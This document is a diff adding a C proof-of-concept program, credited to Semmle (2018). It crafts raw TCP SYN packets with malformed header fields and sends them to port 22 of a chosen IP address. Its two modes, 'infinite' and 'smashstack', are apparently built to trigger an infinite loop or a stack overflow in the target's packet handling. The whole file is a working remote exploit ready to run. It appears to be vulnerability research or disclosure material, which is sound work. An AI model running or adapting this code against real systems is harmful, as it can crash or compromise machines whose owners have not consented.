|
| 1 | +/* |
| 2 | + * Copyright Kevin Backhouse / Semmle Ltd (2018) |
| 3 | + * License: Apache License 2.0 |
| 4 | + * |
| 5 | + * The code in this file is derived from code written by Silver Moon. |
| 6 | + * Silver Moon's original version is available at this url: |
| 7 | + * http://www.binarytides.com/raw-sockets-c-code-linux/ |
| 8 | + */ |
| 9 | +#include <stdio.h> |
| 10 | +#include <string.h> |
| 11 | +#include <sys/socket.h> |
| 12 | +#include <stdlib.h> |
| 13 | +#include <errno.h> |
| 14 | +#include <netinet/tcp.h> |
| 15 | +#include <netinet/ip.h> |
| 16 | +#include <arpa/inet.h> |
| 17 | + |
| 18 | +// 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation |
| 19 | +struct pseudo_header |
| 20 | +{ |
| 21 | + u_int32_t source_address; |
| 22 | + u_int32_t dest_address; |
| 23 | + u_int8_t placeholder; |
| 24 | + u_int8_t protocol; |
| 25 | + u_int16_t tcp_length; |
| 26 | +}; |
| 27 | + |
| 28 | +// Generic checksum calculation function |
| 29 | +unsigned short csum(unsigned short *ptr, int nbytes) |
| 30 | +{ |
| 31 | + long sum; |
| 32 | + unsigned short oddbyte; |
| 33 | + short answer; |
| 34 | + |
| 35 | + printf("nbytes = %d\n", nbytes); |
| 36 | + |
| 37 | + sum = 0; |
| 38 | + while (nbytes > 1) { |
| 39 | + sum += *ptr++; |
| 40 | + nbytes -= 2; |
| 41 | + } |
| 42 | + if (nbytes == 1) { |
| 43 | + oddbyte = 0; |
| 44 | + *((u_char*)&oddbyte) = *(u_char*)ptr; |
| 45 | + sum += oddbyte; |
| 46 | + } |
| 47 | + |
| 48 | + sum = (sum>>16) + (sum & 0xffff); |
| 49 | + sum = sum + (sum>>16); |
| 50 | + answer = (short)~sum; |
| 51 | + |
| 52 | + printf("answer = 0x%x\n", answer); |
| 53 | + |
| 54 | + return answer; |
| 55 | +} |
| 56 | + |
| 57 | +enum Mode { |
| 58 | + InfiniteLoopMode, |
| 59 | + SmashStackMode |
| 60 | +}; |
| 61 | + |
| 62 | +int main(int argc, char* argv[]) |
| 63 | +{ |
| 64 | + int s = 0; |
| 65 | + const int datagramsize = 4096; |
| 66 | + int payloadsize = 40; |
| 67 | + // Datagram to represent the packet |
| 68 | + char datagram[datagramsize], source_ip[32], dest_ip[32], *data , *pseudogram; |
| 69 | + enum Mode mode = 0; |
| 70 | + |
| 71 | + if (argc != 4) { |
| 72 | + printf("Usage: sudo ./a.out <source ip> <dest ip> <mode>\n"); |
| 73 | + printf("Examples:\n"); |
| 74 | + printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite\n"); |
| 75 | + printf(" sudo ./a.out 192.168.0.8 192.168.0.12 smashstack\n"); |
| 76 | + return 1; |
| 77 | + } |
| 78 | + |
| 79 | + strncpy(source_ip, argv[1], sizeof(source_ip)); |
| 80 | + strncpy(dest_ip, argv[2], sizeof(dest_ip)); |
| 81 | + source_ip[sizeof(source_ip) - 1] = '\0'; |
| 82 | + dest_ip[sizeof(dest_ip) - 1] = '\0'; |
| 83 | + |
| 84 | + if (strcmp(argv[3], "infinite") == 0) { |
| 85 | + mode = InfiniteLoopMode; |
| 86 | + } else if (strcmp(argv[3], "smashstack") == 0) { |
| 87 | + mode = SmashStackMode; |
| 88 | + payloadsize = 1000; |
| 89 | + } else { |
| 90 | + printf("Mode not recognized. Choose from:\n"); |
| 91 | + printf(" infinite\n"); |
| 92 | + printf(" smashstack\n"); |
| 93 | + return 1; |
| 94 | + } |
| 95 | + |
| 96 | + printf("source: %s\n", source_ip); |
| 97 | + printf("dest: %s\n", dest_ip); |
| 98 | + printf("mode: %d\n", mode); |
| 99 | + |
| 100 | + s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); |
| 101 | + if (s == -1) { |
| 102 | + printf("Failed to create socket. Try running with sudo.\n"); |
| 103 | + return 1; |
| 104 | + } |
| 105 | + |
| 106 | + memset (datagram, 0, datagramsize); |
| 107 | + |
| 108 | + // IP header |
| 109 | + struct iphdr *iph = (struct iphdr *) datagram; |
| 110 | + |
| 111 | + // TCP header |
| 112 | + struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); |
| 113 | + struct sockaddr_in sin; |
| 114 | + struct pseudo_header psh; |
| 115 | + |
| 116 | + // Data part |
| 117 | + data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr); |
| 118 | + memset(data, 1, payloadsize); |
| 119 | + |
| 120 | + if (mode != SmashStackMode) { |
| 121 | + data[0] = 2; |
| 122 | + data[1] = 0; |
| 123 | + } |
| 124 | + |
| 125 | + // some address resolution |
| 126 | + sin.sin_family = AF_INET; |
| 127 | + sin.sin_port = htons(22); |
| 128 | + sin.sin_addr.s_addr = inet_addr(dest_ip); |
| 129 | + |
| 130 | + // Fill in the IP Header |
| 131 | + iph->ihl = 5; |
| 132 | + iph->version = 4; |
| 133 | + iph->tos = 0; |
| 134 | + iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + payloadsize; |
| 135 | + iph->id = htonl (54321); // Id of this packet |
| 136 | + iph->frag_off = 0; |
| 137 | + iph->ttl = 255; |
| 138 | + iph->protocol = IPPROTO_TCP; |
| 139 | + iph->check = 0; // Set to 0 before calculating checksum |
| 140 | + iph->saddr = inet_addr(source_ip); |
| 141 | + iph->daddr = sin.sin_addr.s_addr; |
| 142 | + |
| 143 | + // Ip checksum |
| 144 | + iph->check = csum((unsigned short *) datagram, iph->tot_len); |
| 145 | + |
| 146 | + // TCP Header |
| 147 | + tcph->source = htons (1234); |
| 148 | + tcph->dest = htons (22); |
| 149 | + tcph->seq = 0; |
| 150 | + tcph->ack_seq = 0; |
| 151 | + if (mode == SmashStackMode) { |
| 152 | + tcph->doff = 0; |
| 153 | + } else { |
| 154 | + tcph->doff = 0xF; |
| 155 | + } |
| 156 | + tcph->fin=0; |
| 157 | + tcph->syn=1; |
| 158 | + tcph->rst=0; |
| 159 | + tcph->psh=0; |
| 160 | + tcph->ack=0; |
| 161 | + tcph->urg=0; |
| 162 | + tcph->window = htons (5840); // maximum allowed window size |
| 163 | + tcph->check = 0; // leave checksum 0 now, filled later by pseudo header |
| 164 | + tcph->urg_ptr = 0; |
| 165 | + |
| 166 | + // Now the TCP checksum |
| 167 | + psh.source_address = inet_addr(source_ip); |
| 168 | + psh.dest_address = sin.sin_addr.s_addr; |
| 169 | + psh.placeholder = 0; |
| 170 | + psh.protocol = IPPROTO_TCP; |
| 171 | + psh.tcp_length = htons(sizeof(struct tcphdr) + payloadsize); |
| 172 | + |
| 173 | + int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + payloadsize; |
| 174 | + pseudogram = malloc(psize); |
| 175 | + |
| 176 | + memcpy(pseudogram, (char*) &psh, sizeof (struct pseudo_header)); |
| 177 | + memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + payloadsize); |
| 178 | + |
| 179 | + tcph->check = csum((unsigned short*)pseudogram, psize); |
| 180 | + |
| 181 | + // IP_HDRINCL to tell the kernel that headers are included in the packet |
| 182 | + int one = 1; |
| 183 | + if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0) { |
| 184 | + printf("Error setting IP_HDRINCL\n"); |
| 185 | + return 1; |
| 186 | + } |
| 187 | + |
| 188 | + // Send the packet |
| 189 | + if (sendto (s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0) { |
| 190 | + printf("sendto failed\n"); |
| 191 | + return 1; |
| 192 | + } |
| 193 | + |
| 194 | + // Data sent successfully |
| 195 | + printf ("Packet Send. Length : %d \n", iph->tot_len); |
| 196 | + |
| 197 | + return 0; |
| 198 | +} |
0 commit comments